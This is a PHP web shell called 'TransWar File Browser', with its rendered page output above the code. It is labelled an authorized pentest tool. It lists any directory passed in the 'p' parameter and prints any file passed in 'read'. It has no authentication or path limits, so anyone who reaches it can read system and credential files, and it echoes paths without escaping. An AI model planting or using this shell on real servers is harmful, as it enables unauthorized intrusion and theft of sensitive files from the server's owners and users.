TransWar File Browser

Path: C:\

<?php
// TransWar File Browser - Authorized Pentest
if(!isset($_GET['p'])) $p = 'C:\\';
else $p = $_GET['p'];
echo '<h2>TransWar File Browser</h2>';
echo '<p>Path: <b>'.$p.'</b></p>';
if(isset($_GET['read'])){
    echo '<pre>'.htmlspecialchars(file_get_contents($_GET['read'])).'</pre>';
    exit;
}
if(is_dir($p)){
    $d = scandir($p);
    echo '<table border=1><tr><th>Name</th><th>Type</th><th>Size</th></tr>';
    foreach($d as $f){
        $fp = $p.'\\'.$f;
        $t = is_dir($fp)?'DIR':'FILE';
        $s = is_file($fp)?filesize($fp):'';
        if($t=='DIR') echo '<tr><td><a href="?p='.urlencode($fp).'">'.$f.'</a></td><td>'.$t.'</td><td>'.$s.'</td></tr>';
        else echo '<tr><td><a href="?read='.urlencode($fp).'">'.$f.'</a></td><td>'.$t.'</td><td>'.$s.'</td></tr>';
    }
    echo '</table>';
}
?>